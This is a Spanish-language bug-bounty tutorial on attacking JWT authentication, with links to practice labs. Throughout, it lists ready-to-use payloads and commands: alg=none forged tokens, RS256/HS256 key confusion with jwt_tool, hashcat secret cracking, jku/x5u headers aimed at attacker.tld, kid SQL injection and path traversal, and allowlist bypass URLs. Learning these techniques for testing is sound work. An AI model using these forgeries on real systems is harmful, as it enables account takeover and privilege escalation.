Respuesta rápida
JWT (JSON Web Token) son strings firmados que contienen claims (user id, role, exp...). Si la firma se verifica mal o el algoritmo se acepta sin restricciones, el atacante puede forjar tokens. Las clases más explotadas: alg=none, RS256→HS256 confusion, secret crackable con hashcat, y manipulación de headers kid/jku/jwk cuando el servidor confía en valores controlados por el cliente.
Anatomía de un JWT
header.payload.signature
Cada parte es base64url. Ejemplo decodificado:
// Header
{ "alg": "HS256", "typ": "JWT" }
// Payload (claims)
{ "sub": "123", "user": "alice", "role": "user", "exp": 1735689600 }
Solo la firma garantiza integridad. Si el server no la verifica correctamente, el atacante modifica payload.role a admin y manda el token resultante.
Vulns clásicas
1. alg=none (CVE-2015-9235)
Cambiar el header a {"alg":"none"} y eliminar la firma:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4ifQ.
Variantes que algunos backends aceptan: none, None, NONE, nOnE, NoNe. Probar todas.
2. RS256 → HS256 confusion (CVE-2016-5431)
El servidor usa RS256 (asimétrico). Si cambias alg a HS256 (simétrico) y firmas con la clave pública RSA usada como secret HMAC, algunos backends mal implementados verifican con la misma clave pública → bypass.
# Obtener clave pública del servidor
openssl s_client -connect target.tld:443 | openssl x509 -pubkey -noout > pubkey.pem
# Forge token con jwt_tool
python3 jwt_tool.py <JWT> -X k -pk pubkey.pem
3. Secret crackable
JWTs HS256 con secrets débiles:
hashcat -a 0 -m 16500 <jwt_token> /usr/share/wordlists/rockyou.txt
hashcat -a 0 -m 16500 <jwt_token> /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
Si crackeas el secret, firmas tokens arbitrarios. Triunfa en apps con secret = "secret", "jwt_secret", nombres del producto, etc.
4. Modificar payload sin invalidar firma
Si el servidor decodifica el payload pero no verifica la firma (mal implementado), simplemente cambia el payload y manda. Test rápido: modifica role a admin y un caracter aleatorio en la firma; ¿pasa?
5. Header injection (jwk, jku, x5u)
Headers que apuntan a la clave o URL de claves. Si el servidor los respeta sin allowlist:
// jwk: clave pública embebida
{ "alg": "RS256", "jwk": { "kty": "RSA", "n": "<tu_n>", "e": "AQAB" } }
// jku: URL de JWKS
{ "alg": "RS256", "jku": "https://attacker.tld/.well-known/jwks.json" }
// x5u: URL de certificado X.509
{ "alg": "RS256", "x5u": "https://attacker.tld/cert.pem" }
El atacante hostea el JWKS/cert con su clave pública y firma con su clave privada. Si el server confía → forge total.
kid header bypasses
kid (Key ID) suele identificar qué clave usar. Si se inyecta en SQL o filesystem:
kid + SQLi
{ "alg": "HS256", "kid": "key1' UNION SELECT 'ATTACKER_CONTROLLED_SECRET' -- " }
Si el backend hace SELECT secret FROM keys WHERE id='<kid>', la inyección retorna un secret controlado. Firma el token con ese secret.
kid + Directory Traversal
{ "alg": "HS256", "kid": "../../../dev/null" }
Si el backend lee un archivo del filesystem como secret, leer /dev/null (vacío) → firma con string vacío. También probar archivos con contenido conocido.
JKU URL bypasses
Si el servidor valida el jku parcialmente (allowlist por contains/startsWith en lugar de URL parsing), probar:
https://target.tld/.well-known/jwks.json ← original
https://target.tld@attacker.tld/jwks.json
https://target.tld.attacker.tld/jwks.json
https://attacker.tld/target.tld/jwks.json
https://target.tld#attacker.tld/jwks.json
https://target.tld/.well-known/jwks.json?redirect=attacker.tld
Mismos bypasses que open redirect. Reusable casi 1:1.
Misc
Expiration abuse
exp: futuro lejano (3000-01-01) → ¿se valida server-side?
exp: removed → ¿el token nunca expira?
nbf: pasado → activo desde antes
Si el server no valida exp, el token es eterno aunque la app lo ponga.
Cross-Service Relay
Si múltiples microservicios comparten la misma clave de firma, un token emitido por servicio A vale en servicio B. Buscar:
- Microservicios que se autentican entre sí con JWT.
- Entornos de staging que usan la misma clave que prod.
- API internas que aceptan tokens del frontend público.
Sensitive data en payload
echo "<JWT_PAYLOAD_BASE64>" | base64 -d | jq .
Buscar: passwords, API keys, PII, IPs internas, roles ocultos, secrets. El payload NO está cifrado, solo codificado.
Tokens hardcoded en código
- Documentación API.
- JS bundle del frontend (search
eyJ, prefix de la mayoría de JWTs). - GitHub público (regex hunting).
- Swagger / OpenAPI specs con ejemplos.
Tooling
jwt_tool.py automatiza casi todo:
# All Tests mode (probar varios bypasses)
python3 jwt_tool.py <JWT_TOKEN> -M at -t "https://target.tld/api/endpoint" -rh "Authorization: Bearer"
# Tamper mode (modificar claims interactively)
python3 jwt_tool.py <JWT_TOKEN> -T
# Specific exploit (none, kid, jku, etc)
python3 jwt_tool.py <JWT_TOKEN> -X <exploit>
Burp + extension JWT Editor para manipular tokens en cada request.
Checklist de hunting
- ¿El token se acepta con
alg=none(todas las variantes)? - ¿El secret HMAC se crackea con rockyou + best64?
- ¿RS256 → HS256 confusion funciona?
- ¿
jwk/jku/x5use aceptan apuntando a dominio externo? - ¿
kidse usa en query SQL o lectura de filesystem? - ¿El payload se puede modificar sin invalidar la firma?
- ¿
expse valida server-side, o solo se mira en cliente? - ¿Hay PII o secrets en el payload?
- ¿El token vale en otros servicios/entornos?
- ¿Hay tokens de ejemplo en docs/JS/GitHub?
Labs relacionados
Practica alg=none, secret cracking y header injection sobre JWTs reales: labs de JWT.
Practica esto en un lab
Jwt
Sigue aprendiendo · cuenta gratis
Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.
Artículos relacionados
CSRF (Cross-Site Request Forgery) — explicado completo con bypasses
CSRF: cómo se explota, defensas comunes (tokens, SameSite, Origin), bypasses (method change, JSON, double-submit, content-type) y dónde buscarlo en cualquier app.
Cookie flags — Secure, HttpOnly, SameSite y por qué importan
HttpOnly bloquea XSS-to-cookie, Secure obliga HTTPS, SameSite mata CSRF. Cómo se rompen y qué reportar cuando faltan en cookies sensibles.
0-click Account Takeover — OTP brute force + Email Normalization
Dos fallos por separado parecen menores. Juntos, te dan ATO completo conociendo solo el email. Bounty real: €560 y 12 minutos de explotación.